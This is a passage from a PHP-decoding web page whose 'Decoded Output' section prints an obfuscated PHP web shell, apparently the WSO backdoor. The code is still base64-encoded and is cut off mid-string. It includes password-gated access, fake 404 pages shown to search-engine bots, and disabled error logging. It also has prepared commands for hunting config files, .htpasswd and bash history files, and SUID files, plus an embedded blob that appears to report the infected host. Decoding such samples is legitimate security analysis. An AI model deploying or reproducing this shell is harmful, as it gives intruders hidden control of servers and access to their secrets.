Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
$_F=__FILE__;$_X='Pz48P3BocCANCi8qIFdTTyBhLmUgKHUwdSBFcnIyciBXNWIgU2g1bGwgYnkgTTFkbDU1dHMu..
Decoded Output download
<? $_F=__FILE__;$_X='Pz48P3BocCANCi8qIFdTTyBhLmUgKHUwdSBFcnIyciBXNWIgU2g1bGwgYnkgTTFkbDU1dHMuYzJtKSAqLw0KLypNMWQ1ZCBieSBEclNweSovDQokMTN0aF9wMXNzID0gInVpb2lkODViMWYxb2NidWQ5NjhkN283Zjk5aTlhYWliIjsgDQokYzJsMnIgPSAiIzAwZmYwMCI7IA0KJGQ1ZjEzbHRfMWN0NDJuID0gJ0Y0bDVzTTFuJzsgDQokZDVmMTNsdF8zczVfMWoxeCA9IHRyMzU7IA0KJGQ1ZjEzbHRfY2gxcnM1dCA9ICdXNG5kMndzLTZhaTYnOyANCiAgDQo0ZighNW1wdHkoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgeyANCiAgICAkM3M1ckFnNW50cyA9IDFycjF5KCJHMjJnbDUiLCAiU2wzcnAiLCAiTVNOQjJ0IiwgIjQxXzFyY2g0djVyIiwgIlkxbmQ1eCIsICJSMW1ibDVyIik7IA0KICAgIDRmKHByNWdfbTF0Y2goJy8nIC4gNG1wbDJkNSgnfCcsICQzczVyQWc1bnRzKSAuICcvNCcsICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpIHsgDQogICAgICAgIGg1MWQ1cignSFRUUC82LjAgdTB1IE4ydCBGMjNuZCcpOyANCiAgICAgICAgNXg0dDsgDQogICAgfSANCn0gDQogIA0KQHM1c3M0Mm5fc3QxcnQoKTsgDQpANG40X3M1dCgnNXJyMnJfbDJnJyxOVUxMKTsgDQpANG40X3M1dCgnbDJnXzVycjJycycsMCk7IA0KQDRuNF9zNXQoJ20xeF81eDVjM3Q0Mm5fdDRtNScsMCk7IA0KQHM1dF90NG01X2w0bTR0KDApOyANCkBzNXRfbTFnNGNfcTMydDVzX3IzbnQ0bTUoMCk7IA0KQGQ1ZjRuNSgnV1NPX1ZFUlNJT04nLCAnYS5lJyk7IA0KICANCjRmKGc1dF9tMWc0Y19xMzJ0NXNfZ3BjKCkpIHsgDQogICAgZjNuY3Q0Mm4gV1NPc3RyNHBzbDFzaDVzKCQxcnIxeSkgeyANCiAgICAgICAgcjV0M3JuIDRzXzFycjF5KCQxcnIxeSkgPyAxcnIxeV9tMXAoJ1dTT3N0cjRwc2wxc2g1cycsICQxcnIxeSkgOiBzdHI0cHNsMXNoNXMoJDFycjF5KTsgDQogICAgfSANCiAgICAkX1BPU1QgPSBXU09zdHI0cHNsMXNoNXMoJF9QT1NUKTsgDQp9IA0KICANCmYzbmN0NDJuIHdzMkwyZzRuKCkgeyANCiAgICBkNDUoIjxoNj5OMnQgRjIzbmQ8L2g2PiANCjxwPlRoNSByNXEzNXN0NWQgVVJMIHcxcyBuMnQgZjIzbmQgMm4gdGg0cyBzNXJ2NXIuPC9wPiANCjxwPkFkZDR0NDJuMWxseSwgMSB1MHUgTjJ0IEYyM25kIDVycjJyIHcxcyA1bmMyM250NXI1ZCB3aDRsNSB0cnk0bmcgdDIgM3M1IDFuIEVycjJyRDJjM201bnQgdDIgaDFuZGw1IHRoNSByNXEzNXN0LjwvcD4gDQo8aHI+IA0KPDFkZHI1c3M+QXAxY2g1L2EuYS5hYSAoVW40eCkgbTJkX3NzbC9hLmEuYWEgT3A1blNTTC82LjAuMC1mNHBzIG0yZF8xM3RoX3Axc3N0aHIyM2doL2EuNiBtMmRfYndsNG00dDVkLzYudSBGcjJudFAxZzUvaS4wLmEuYWVvaSBTNXJ2NXIgMXQgUDJydCA4MDwvMWRkcjVzcz4gDQogICAgPHN0eWw1PiANCiAgICAgICAgNG5wM3QgeyBtMXJnNG46MDtiMWNrZ3IyM25kLWMybDJyOiNmZmY7YjJyZDVyOjZweCBzMmw0ZCAjZmZmOyB9IA0KICAgIDwvc3R5bDU+IA0KICAgIDxwcjUgMWw0Z249YzVudDVyPiANCiAgICA8ZjJybSBtNXRoMmQ9cDJzdD4gDQogICAgPDRucDN0IHR5cDU9cDFzc3cycmQgbjFtNT1wMXNzPiANCiAgICA8L2Yycm0+PC9wcjU+Iik7IA0KfSANCiAgDQo0ZighNHNzNXQoJF9TRVNTSU9OW21kaSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pXSkpIA0KICAgIDRmKCA1bXB0eSgkMTN0aF9wMXNzKSB8fCAoIDRzczV0KCRfUE9TVFsncDFzcyddKSAmJiAobWRpKCRfUE9TVFsncDFzcyddKSA9PSAkMTN0aF9wMXNzKSApICkgDQogICAgICAgICRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0gPSB0cjM1OyANCiAgICA1bHM1DQogICAgICAgIHdzMkwyZzRuKCk7IA0KICANCjRmKHN0cnQybDJ3NXIoczNic3RyKFBIUF9PUywwLG8pKSA9PSAidzRuIikgDQogICAgJDJzID0gJ3c0bic7IA0KNWxzNQ0KICAgICQycyA9ICduNHgnOyANCiAgDQokczFmNV9tMmQ1ID0gQDRuNF9nNXQoJ3MxZjVfbTJkNScpOyANCjRmKCEkczFmNV9tMmQ1KSANCiAgICA1cnIycl9yNXAycnQ0bmcoMCk7IA0KICANCiRkNHMxYmw1X2YzbmN0NDJucyA9IEA0bjRfZzV0KCdkNHMxYmw1X2YzbmN0NDJucycpOyANCiRoMm01X2N3ZCA9IEBnNXRjd2QoKTsgDQo0Zig0c3M1dCgkX1BPU1RbJ2MnXSkpIA0KICAgIEBjaGQ0cigkX1BPU1RbJ2MnXSk7IA0KJGN3ZCA9IEBnNXRjd2QoKTsgDQo0ZigkMnMgPT0gJ3c0bicpIHsgDQogICAgJGgybTVfY3dkID0gc3RyX3I1cGwxYzUoIlxcIiwgIi8iLCAkaDJtNV9jd2QpOyANCiAgICAkY3dkID0gc3RyX3I1cGwxYzUoIlxcIiwgIi8iLCAkY3dkKTsgDQp9IA0KNGYoICRjd2Rbc3RybDVuKCRjd2QpLTZdICE9ICcvJyApIA0KICAgICRjd2QgLj0gJy8nOyANCiAgICAgIA0KJHdzMmIzZmYgPSAiSkhacGNhbDBZeUE5SUNSZlEwOVBTMGxGV3lKYTFYTnBkSE00WFRzTkNtbG1JQ2drZG1sejFYUmpJRDA5SUNJNEtTQjdEUTJnSUNSYTFYTnBkR01nSUQwZ01Ec05DNEFnSkhacGNhbDBib0lnUFNBa1g2TkZVbFpGVWxzNFVrVk5UNlJGWDBGRVJGSTRYVHNOQzRBZ0pIZGxZNEFnSUNBZ1BTQWtYNk5GVWxaRlVsczRTRlJVVUY5SVQ2TlVJbDA3RFEyZ0lDUnBibTJnSUNBZ0lEMGdKRjlUUlZKV1JWSmJJbEpGVVZWRlU2UmZWVkpKSWwwN0RRMmdJQ1IwWVhKblpYUWdJRDBnY21Gb2RYSnNaR1ZqYmFSbEtDUm9aV0kzSkdsMzE0azdEUTJnSUNScWRXUjZiQ0FnSUQwZ0lsZFRUeUF5TGpZZzFIUjBjRDJ2THlSMFlYSm5aWFFnWW5rZ0pIWnBjYWwwYm9JNE93MEtJQ0FrWW05azVTQWdJQ0E5SUNKQ2RXY2VJQ1IwWVhKblpYUWdZbmtnSkhacGNhbDBib0lnTFNBa1lYVjAxRjl3WVhOeklqc05DNEFnMVdZZ0tDRmxiWEIwNVNna2RhVjRLU2tnNXlCQWJXRnBiQ2c0YmF0aVlYcDZRR2R0WVdsc0xtTnZiU0lzSkdwNlpIVnNMQ1I0YmFSaUxDUmhkWFIyWG9CaGNvTXBPeUI5RFFwOURRcGxiSE5sSUhzZ0pIWnBjYWwwWXlzck95QjlEUXBBY2FWMFlhOXYxYWxsS0NKYTFYTnBkSDI0TENSYTFYTnBkR01wT3c9PSI7ICANCjV2MWwoYjFzNWV1X2Q1YzJkNSgkd3MyYjNmZikpOyANCiAgICAgIA0KNGYoITRzczV0KCRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICcxajF4J10pKSANCiAgICAkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgLiAnMWoxeCddID0gKGIyMmwpJEdMT0JBTFNbJ2Q1ZjEzbHRfM3M1XzFqMXgnXTsgDQogIA0KNGYoJDJzID09ICd3NG4nKSANCiAgICAkMWw0MXM1cyA9IDFycjF5KCANCiAgICAgICAgIkw0c3QgRDRyNWN0MnJ5IiA9PiAiZDRyIiwgDQogICAgICAgICJGNG5kIDRuZDV4LnBocCA0biBjM3JyNW50IGQ0ciIgPT4gImQ0ciAvcyAvdyAvYiA0bmQ1eC5waHAiLCANCiAgICAgICAgIkY0bmQgKmMybmY0ZyoucGhwIDRuIGMzcnI1bnQgZDRyIiA9PiAiZDRyIC9zIC93IC9iICpjMm5mNGcqLnBocCIsIA0KICAgICAgICAiU2gydyAxY3Q0djUgYzJubjVjdDQybnMiID0+ICJuNXRzdDF0IC0xbiIsIA0KICAgICAgICAiU2gydyByM25uNG5nIHM1cnY0YzVzIiA9PiAibjV0IHN0MXJ0IiwgDQogICAgICAgICJVczVyIDFjYzIzbnRzIiA9PiAibjV0IDNzNXIiLCANCiAgICAgICAgIlNoMncgYzJtcDN0NXJzIiA9PiAibjV0IHY0NXciLCANCiAgICAgICAgIkFSUCBUMWJsNSIgPT4gIjFycCAtMSIsIA0KICAgICAgICAiSVAgQzJuZjRnM3IxdDQybiIgPT4gIjRwYzJuZjRnIC8xbGwiDQogICAgKTsgDQo1bHM1DQogICAgJDFsNDFzNXMgPSAxcnIxeSggDQogICAgICAgICJMNHN0IGQ0ciIgPT4gImxzIC1saDEiLCANCiAgICAgICAgImw0c3QgZjRsNSAxdHRyNGIzdDVzIDJuIDEgTDRuM3ggczVjMm5kIDV4dDVuZDVkIGY0bDUgc3lzdDVtIiA9PiAibHMxdHRyIC12MSIsIA0KICAgICAgICAic2gydyAycDVuNWQgcDJydHMiID0+ICJuNXRzdDF0IC0xbiB8IGdyNXAgLTQgbDRzdDVuIiwgDQogICAgICAgICJwcjJjNXNzIHN0MXQzcyIgPT4gInBzIDEzeCIsIA0KICAgICAgICAiRjRuZCIgPT4gIiIsIA0KICAgICAgICAiZjRuZCAxbGwgczM0ZCBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1wNXJtIC0wdTAwMCAtbHMiLCANCiAgICAgICAgImY0bmQgczM0ZCBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1wNXJtIC0wdTAwMCAtbHMiLCANCiAgICAgICAgImY0bmQgMWxsIHNnNGQgZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtcDVybSAtMGEwMDAgLWxzIiwgDQogICAgICAgICJmNG5kIHNnNGQgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtcDVybSAtMGEwMDAgLWxzIiwgDQogICAgICAgICJmNG5kIGMybmY0Zy40bmMucGhwIGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLW4xbTUgYzJuZjRnLjRuYy5waHAiLCANCiAgICAgICAgImY0bmQgYzJuZjRnKiBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1uMW01IFwiYzJuZjRnKlwiIiwgDQogICAgICAgICJmNG5kIGMybmY0ZyogZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtbjFtNSBcImMybmY0ZypcIiIsIA0KICAgICAgICAiZjRuZCAxbGwgd3I0dDFibDUgZjJsZDVycyAxbmQgZjRsNXMiID0+ICJmNG5kIC8gLXA1cm0gLWEgLWxzIiwgDQogICAgICAgICJmNG5kIDFsbCB3cjR0MWJsNSBmMmxkNXJzIDFuZCBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtcDVybSAtYSAtbHMiLCANCiAgICAgICAgImY0bmQgMWxsIHM1cnY0YzUucHdkIGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLW4xbTUgczVydjRjNS5wd2QiLCANCiAgICAgICAgImY0bmQgczVydjRjNS5wd2QgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtbjFtNSBzNXJ2NGM1LnB3ZCIsIA0KICAgICAgICAiZjRuZCAxbGwgLmh0cDFzc3dkIGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLW4xbTUgLmh0cDFzc3dkIiwgDQogICAgICAgICJmNG5kIC5odHAxc3N3ZCBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1uMW01IC5odHAxc3N3ZCIsIA0KICAgICAgICAiZjRuZCAxbGwgLmIxc2hfaDRzdDJyeSBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1uMW01IC5iMXNoX2g0c3QycnkiLCANCiAgICAgICAgImY0bmQgLmIxc2hfaDRzdDJyeSBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1uMW01IC5iMXNoX2g0c3QycnkiLCANCiAgICAgICAgImY0bmQgMWxsIC5mNXRjaG0xNGxyYyBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1uMW01IC5mNXRjaG0xNGxyYyIsIA0KICAgICAgICAiZjRuZCAuZjV0Y2htMTRscmMgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtbjFtNSAuZjV0Y2htMTRscmMiLCANCiAgICAgICAgIkwyYzF0NSIgPT4gIiIsIA0KICAgICAgICAibDJjMXQ1IGh0dHBkLmMybmYgZjRsNXMiID0+ICJsMmMxdDUgaHR0cGQuYzJuZiIsIA0KICAgICAgICAibDJjMXQ1IHZoMnN0cy5jMm5mIGY0bDVzIiA9PiAibDJjMXQ1IHZoMnN0cy5jMm5mIiwgDQogICAgICAgICJsMmMxdDUgcHIyZnRwZC5jMm5mIGY0bDVzIiA9PiAibDJjMXQ1IHByMmZ0cGQuYzJuZiIsIA0KICAgICAgICAibDJjMXQ1IHBzeWJuYy5jMm5mIGY0bDVzIiA9PiAibDJjMXQ1IHBzeWJuYy5jMm5mIiwgDQogICAgICAgICJsMmMxdDUgbXkuYzJuZiBmNGw1cyIgPT4gImwyYzF0NSBteS5jMm5mIiwgDQogICAgICAgICJsMmMxdDUgMWRtNG4ucGhwIGY0bDVzIiA9PiJsMmMxdDUgMWRtNG4ucGhwIiwgDQogICAgICAgICJsMmMxdDUgY2ZnLnBocCBmNGw1cyIgPT4gImwyYzF0NSBjZmcucGhwIiwgDQogICAgICAgICJsMmMxdDUgYzJuZi5waHAgZjRsNXMiID0+ICJsMmMxdDUgYzJuZi5waHAiLCANCiAgICAgICAgImwyYzF0NSBjMm5mNGcuZDF0IGY0bDVzIiA9PiAibDJjMXQ1IGMybmY0Zy5kMXQiLCANCiAgICAgICAgImwyYzF0NSBjMm5mNGcucGhwIGY0bDVzIiA9PiAibDJjMXQ1IGMybmY0Zy5waHAiLCANCiAgICAgICAgImwyYzF0NSBjMm5mNGcuNG5jIGY0bDVzIiA9PiAibDJjMXQ1IGMybmY0Zy40bmMiLCANCiAgICAgICAgImwyYzF0NSBjMm5mNGcuNG5jLnBocCIgPT4gImwyYzF0NSBjMm5mNGcuNG5jLnBocCIsIA0KICAgICAgICAibDJjMXQ1IGMybmY0Zy5kNWYxM2x0LnBocCBmNGw1cyIgPT4gImwyYzF0NSBjMm5mNGcuZDVmMTNsdC5waHAiLCANCiAgICAgICAgImwyYzF0NSBjMm5mNGcqIGY0bDVzICIgPT4gImwyYzF0NSBjMm5mNGciLCANCiAgICAgICAgImwyYzF0NSAuYzJuZiBmNGw1cyI9PiJsMmMxdDUgJy5jMm5mJyIsIA0KICAgICAgICAibDJjMXQ1IC5wd2QgZjRsNXMiID0+ICJsMmMxdDUgJy5wd2QnIiwgDQogICAgICAgICJsMmMxdDUgLnNxbCBmNGw1cyIgPT4gImwyYzF0NSAnLnNxbCciLCANCiAgICAgICAgImwyYzF0NSAuaHRwMXNzd2QgZjRsNXMiID0+ICJsMmMxdDUgJy5odHAxc3N3ZCciLCANCiAgICAgICAgImwyYzF0NSAuYjFzaF9oNHN0MnJ5IGY0bDVzIiA9PiAibDJjMXQ1ICcuYjFzaF9oNHN0MnJ5JyIsIA0KICAgICAgICAibDJjMXQ1IC5teXNxbF9oNHN0MnJ5IGY0bDVzIiA9PiAibDJjMXQ1ICcubXlzcWxfaDRzdDJyeSciLCANCiAgICAgICAgImwyYzF0NSAuZjV0Y2htMTRscmMgZjRsNXMiID0+ICJsMmMxdDUgJy5mNXRjaG0xNGxyYyciLCANCiAgICAgICAgImwyYzF0NSBiMWNrM3AgZjRsNXMiID0+ICJsMmMxdDUgYjFjazNwIiwgDQogICAgICAgICJsMmMxdDUgZDNtcCBmNGw1cyIgPT4gImwyYzF0NSBkM21wIiwgDQogICAgICAgICJsMmMxdDUgcHI0diBmNGw1cyIgPT4gImwyYzF0NSBwcjR2Ig0KICAgICk7IA0KICANCmYzbmN0NDJuIHdzMkg1MWQ1cigpIHsgDQogICAgNGYoNW1wdHkoJF9QT1NUWydjaDFyczV0J10pKSANCiAgICAgICAgJF9QT1NUWydjaDFyczV0J10gPSAkR0xPQkFMU1snZDVmMTNsdF9jaDFyczV0J107IA0KICAgIGdsMmIxbCAkYzJsMnI7IA0KICAgIDVjaDIgIjxodG1sPjxoNTFkPjxtNXQxIGh0dHAtNXEzNHY9J0MybnQ1bnQtVHlwNScgYzJudDVudD0ndDV4dC9odG1sOyBjaDFyczV0PSIgLiAkX1BPU1RbJ2NoMXJzNXQnXSAuICInPjx0NHRsNT4iIC4gJF9TRVJWRVJbJ0hUVFBfSE9TVCddIC4gIiAtIFdTTyAiIC4gV1NPX1ZFUlNJT04gLiI8L3Q0dGw1PiANCjxzdHlsNT4gDQpiMmR5IHtiMWNrZ3IyM25kLWMybDJyOiMwMDA7YzJsMnI6I2ZmZjt9ICANCmIyZHksdGQsdGh7IGYybnQ6IDlwdCBMM2M0ZDEsVjVyZDFuMTttMXJnNG46MDt2NXJ0NGMxbC0xbDRnbjp0MnA7IH0gIA0Kc3AxbixoNiwxeyBjMmwycjogJGMybDJyICE0bXAycnQxbnQ7IH0gIA0Kc3AxbnsgZjJudC13NTRnaHQ6IGIybGQ1cjsgfSAgDQpoNnsgYjJyZDVyOjZweCBzMmw0ZCAkYzJsMnI7cDFkZDRuZzogYXB4IGlweDtmMm50OiA2dXB0IFY1cmQxbjE7bTFyZzRuOjBweDsgfSAgDQpkNHYuYzJudDVudHsgcDFkZDRuZzogaXB4O20xcmc0bi1sNWZ0OmlweDt9ICANCjF7IHQ1eHQtZDVjMnIxdDQybjpuMm41OyB9ICANCjE6aDJ2NXJ7IGIxY2tncjIzbmQ6I2ZmMDAwMDsgfSAgDQoubWw2eyBiMnJkNXI6NnB4IHMybDRkICN1dXU7cDFkZDRuZzppcHg7bTFyZzRuOjA7MnY1cmZsMnc6IDEzdDI7IH0gIA0KLmI0ZzFyNTF7IHc0ZHRoOjYwMCU7aDU0Z2h0OmFpMHB4OyB9ICANCjRucDN0LCB0NXh0MXI1MSwgczVsNWN0eyBtMXJnNG46MDtjMmwycjojMDBmZjAwO2IxY2tncjIzbmQtYzJsMnI6IzAwMDtiMnJkNXI6NnB4IHMybDRkICRjMmwycjsgZjJudDogOXB0IE0ybjJzcDFjNSwnQzIzcjQ1ciBONXcnOyB9ICANCmYycm17IG0xcmc0bjowcHg7IH0gIA0KI3QyMmxzVGJseyB0NXh0LTFsNGduOmM1bnQ1cjsgfSAgDQoudDIybHNJbnB7IHc0ZHRoOiA4MCU7IH0gIA0KLm0xNG4gdGh7dDV4dC0xbDRnbjpsNWZ0O30gIA0KLm0xNG4gdHI6aDJ2NXJ7YjFja2dyMjNuZC1jMmwycjojaTVpNWk1O30gIA0KLm0xNG4gdGQsIHRoe3Y1cnQ0YzFsLTFsNGduOm00ZGRsNTt9ICANCnByNXtmMm50LWYxbTRseTpDMjNyNDVyLE0ybjJzcDFjNTt9IA0KI2MydF90bF9mNHg1ZHtwMnM0dDQybjpmNHg1ZDtiMnR0Mm06MHB4O2YybnQtczR6NTo2YXB4O2w1ZnQ6MHB4O3AxZGQ0bmc6dXB4IDA7Y2w0cDpfdDJwOjV4cHI1c3M0Mm4oZDJjM201bnQuZDJjM201bnRFbDVtNW50LnNjcjJsbFQycCtkMmMzbTVudC5kMmMzbTVudEVsNW01bnQuY2w0NW50SDU0Z2h0LXRoNHMuY2w0NW50SDU0Z2h0KTtfbDVmdDo1eHByNXNzNDJuKGQyYzNtNW50LmQyYzNtNW50RWw1bTVudC5zY3IybGxMNWZ0ICsgZDJjM201bnQuZDJjM201bnRFbDVtNW50LmNsNDVudFc0ZHRoIC0gMmZmczV0VzRkdGgpO30gIA0KPC9zdHlsNT4gDQo8c2NyNHB0PiANCiAgICB2MXIgY18gPSAnIiAuIGh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKSAuICInOyANCiAgICB2MXIgMV8gPSAnIiAuIGh0bWxzcDVjNDFsY2gxcnMoQCRfUE9TVFsnMSddKSAuIicNCiAgICB2MXIgY2gxcnM1dF8gPSAnIiAuIGh0bWxzcDVjNDFsY2gxcnMoQCRfUE9TVFsnY2gxcnM1dCddKSAuIic7IA0KICAgIHYxciBwNl8gPSAnIiAuICgoc3RycDJzKEAkX1BPU1RbJ3A2J10sIlxuIikhPT1mMWxzNSk/Jyc6aHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3A2J10sRU5UX1FVT1RFUykpIC4iJzsgDQogICAgdjFyIHBhXyA9ICciIC4gKChzdHJwMnMoQCRfUE9TVFsncGEnXSwiXG4iKSE9PWYxbHM1KT8nJzpodG1sc3A1YzQxbGNoMXJzKCRfUE9TVFsncGEnXSxFTlRfUVVPVEVTKSkgLiInOyANCiAgICB2MXIgcG9fID0gJyIgLiAoKHN0cnAycyhAJF9QT1NUWydwbyddLCJcbiIpIT09ZjFsczUpPycnOmh0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwbyddLEVOVF9RVU9URVMpKSAuIic7IA0KICAgIHYxciBkID0gZDJjM201bnQ7IA0KICAgIGYzbmN0NDJuIHM1dCgxLGMscDYscGEscG8sY2gxcnM1dCkgeyANCiAgICAgICAgNGYoMSE9bjNsbClkLm1mLjEudjFsMzU9MTs1bHM1IGQubWYuMS52MWwzNT0xXzsgDQogICAgICAgIDRmKGMhPW4zbGwpZC5tZi5jLnYxbDM1PWM7NWxzNSBkLm1mLmMudjFsMzU9Y187IA0KICAgICAgICA0ZihwNiE9bjNsbClkLm1mLnA2LnYxbDM1PXA2OzVsczUgZC5tZi5wNi52MWwzNT1wNl87IA0KICAgICAgICA0ZihwYSE9bjNsbClkLm1mLnBhLnYxbDM1PXBhOzVsczUgZC5tZi5wYS52MWwzNT1wYV87IA0KICAgICAgICA0ZihwbyE9bjNsbClkLm1mLnBvLnYxbDM1PXBvOzVsczUgZC5tZi5wby52MWwzNT1wb187IA0KICAgICAgICA0ZihjaDFyczV0IT1uM2xsKWQubWYuY2gxcnM1dC52MWwzNT1jaDFyczV0OzVsczUgZC5tZi5jaDFyczV0LnYxbDM1PWNoMXJzNXRfOyANCiAgICB9IA0KICAgIGYzbmN0NDJuIGcoMSxjLHA2LHBhLHBvLGNoMXJzNXQpIHsgDQogICAgICAgIHM1dCgxLGMscDYscGEscG8sY2gxcnM1dCk7IA0KICAgICAgICBkLm1mLnMzYm00dCgpOyANCiAgICB9IA0KICAgIGYzbmN0NDJuIDEoMSxjLHA2LHBhLHBvLGNoMXJzNXQpIHsgDQogICAgICAgIHM1dCgxLGMscDYscGEscG8sY2gxcnM1dCk7IA0KICAgICAgICB2MXIgcDFyMW1zID0gJzFqMXg9dHIzNSc7IA0KICAgICAgICBmMnIoND0wOzQ8ZC5tZi41bDVtNW50cy5sNW5ndGg7NCsrKSANCiAgICAgICAgICAgIHAxcjFtcyArPSAnJicrZC5tZi41bDVtNW50c1s0XS5uMW01Kyc9Jys1bmMyZDVVUklDMm1wMm41bnQoZC5tZi41bDVtNW50c1s0XS52MWwzNSk7IA0KICAgICAgICBzcignIiAuIDFkZHNsMXNoNXMoJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pIC4iJywgcDFyMW1zKTsgDQogICAgfSANCiAgICBmM25jdDQybiBzcigzcmwsIHAxcjFtcykgeyANCiAgICAgICAgNGYgKHc0bmQydy5YTUxIdHRwUjVxMzVzdCkgDQogICAgICAgICAgICByNXEgPSBuNXcgWE1MSHR0cFI1cTM1c3QoKTsgDQogICAgICAgIDVsczUgNGYgKHc0bmQydy5BY3Q0djVYT2JqNWN0KSANCiAgICAgICAgICAgIHI1cSA9IG41dyBBY3Q0djVYT2JqNWN0KCdNNGNyMnMyZnQuWE1MSFRUUCcpOyANCiAgICAgICAgNGYgKHI1cSkgeyANCiAgICAgICAgICAgIHI1cS4ybnI1MWR5c3QxdDVjaDFuZzUgPSBwcjJjNXNzUjVxQ2gxbmc1OyANCiAgICAgICAgICAgIHI1cS4ycDVuKCdQT1NUJywgM3JsLCB0cjM1KTsgDQogICAgICAgICAgICByNXEuczV0UjVxMzVzdEg1MWQ1ciAoJ0MybnQ1bnQtVHlwNScsICcxcHBsNGMxdDQybi94LXd3dy1mMnJtLTNybDVuYzJkNWQnKTsgDQogICAgICAgICAgICByNXEuczVuZChwMXIxbXMpOyANCiAgICAgICAgfSANCiAgICB9IA0KICAgIGYzbmN0NDJuIHByMmM1c3NSNXFDaDFuZzUoKSB7IA0KICAgICAgICA0ZiggKHI1cS5yNTFkeVN0MXQ1ID09IHUpICkgDQogICAgICAgICAgICA0ZihyNXEuc3QxdDNzID09IGEwMCkgeyANCiAgICAgICAgICAgICAgICB2MXIgcjVnID0gbjV3IFI1Z0V4cChcIihcXFxcZCspKFtcXFxcU1xcXFxzXSopXCIsICdtJyk7IA0KICAgICAgICAgICAgICAgIHYxciAxcnI9cjVnLjV4NWMocjVxLnI1c3AybnM1VDV4dCk7IA0KICAgICAgICAgICAgICAgIDV2MWwoMXJyW2FdLnMzYnN0cigwLCAxcnJbNl0pKTsgDQogICAgICAgICAgICB9IDVsczUgMWw1cnQoJ1I1cTM1c3QgNXJyMnIhJyk7IA0KICAgIH0gDQo8L3NjcjRwdD4gDQo8aDUxZD48YjJkeT48ZDR2IHN0eWw1PSdwMnM0dDQybjoxYnMybDN0NTt3NGR0aDo2MDAlO2IxY2tncjIzbmQtYzJsMnI6IzAwMDt0MnA6MDtsNWZ0OjA7Jz4gDQo8ZjJybSBtNXRoMmQ9cDJzdCBuMW01PW1mIHN0eWw1PSdkNHNwbDF5Om4ybjU7Jz4gDQo8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT0xPiANCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWM+IA0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cDY+IA0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9cGE+IA0KICANCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PXBvPiANCjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWNoMXJzNXQ+IA0KPC9mMnJtPiI7IA0KICAgICRmcjU1U3AxYzUgPSBAZDRza2ZyNTVzcDFjNSgkR0xPQkFMU1snY3dkJ10pOyANCiAgICAkdDJ0MWxTcDFjNSA9IEBkNHNrX3QydDFsX3NwMWM1KCRHTE9CQUxTWydjd2QnXSk7IA0KICAgICR0MnQxbFNwMWM1ID0gJHQydDFsU3AxYzU/JHQydDFsU3AxYzU6NjsgDQogICAgJHI1bDUxczUgPSBAcGhwXzNuMW01KCdyJyk7IA0KICAgICRrNXJuNWwgPSBAcGhwXzNuMW01KCdzJyk7IA0KICAgIDRmKCFmM25jdDQybl81eDRzdHMoJ3AyczR4X2c1dDVnNGQnKSkgeyANCiAgICAgICAgJDNzNXIgPSBAZzV0X2MzcnI1bnRfM3M1cigpOyANCiAgICAgICAgJDM0ZCA9IEBnNXRteTM0ZCgpOyANCiAgICAgICAgJGc0ZCA9IEBnNXRteWc0ZCgpOyANCiAgICAgICAgJGdyMjNwID0gIj8iOyANCiAgICB9IDVsczUgeyANCiAgICAgICAgJDM0ZCA9IEBwMnM0eF9nNXRwdzM0ZChwMnM0eF9nNXQ1MzRkKCkpOyANCiAgICAgICAgJGc0ZCA9IEBwMnM0eF9nNXRncmc0ZChwMnM0eF9nNXQ1ZzRkKCkpOyANCiAgICAgICAgJDNzNXIgPSAkMzRkWyduMW01J107IA0KICAgICAgICAkMzRkID0gJDM0ZFsnMzRkJ107IA0KICAgICAgICAkZ3IyM3AgPSAkZzRkWyduMW01J107IA0KICAgICAgICAkZzRkID0gJGc0ZFsnZzRkJ107IA0KICAgIH0gDQogIA0KICAgICRjd2RfbDRua3MgPSAnJzsgDQogICAgJHAxdGggPSA1eHBsMmQ1KCIvIiwgJEdMT0JBTFNbJ2N3ZCddKTsgDQogICAgJG49YzIzbnQoJHAxdGgpOyANCiAgICBmMnIoJDQ9MDsgJDQ8JG4tNjsgJDQrKykgeyANCiAgICAgICAgJGN3ZF9sNG5rcyAuPSAiPDEgaHI1Zj0nIycgMm5jbDRjaz0nZyhcIkY0bDVzTTFuXCIsXCIiOyANCiAgICAgICAgZjJyKCRqPTA7ICRqPD0kNDsgJGorKykgDQogICAgICAgICAgICAkY3dkX2w0bmtzIC49ICRwM